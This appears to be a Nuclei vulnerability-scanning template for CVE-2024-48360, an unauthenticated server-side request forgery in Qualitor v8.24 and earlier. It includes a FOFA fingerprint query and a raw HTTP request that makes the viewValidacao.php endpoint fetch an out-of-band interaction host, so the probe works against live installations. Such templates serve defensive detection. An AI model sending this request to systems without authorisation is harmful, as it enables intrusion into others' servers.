id: CVE-2024-48360

info:
  name: Qualitor <= v8.24 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    Qualitor v8.24 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /request/viewValidacao.php.
  reference:
    - https://github.com/OpenXP-Research/CVE-2024-48360
    - https://packetstormsecurity.com/files/182427/Qualitor-8.24-Server-Side-Request-Forgery.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-48360
    cwe-id: CWE-918
    epss-score: 0.83629
    epss-percentile: 0.98653
  metadata:
    verified: true
    max-request: 2
    vendor: qualitor
    product: qualitor
    fofa-query: icon_hash="-1217039701"
  tags: cve,cve2024,ssrf,qualitor

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "qualitor")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /html/ad/adformmobile/request/viewValidacao.php?url=oast.me HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a1a931993264ef2d3f49f7ffdb1d0e4708bc4e202f21c8c59012d34a4073e4d102201f44455bd10a619dacbb55e030c2fd6685b3f3c247e384672a3fa4ae11db59c9:922c64590222798bb761d5b6d8e72950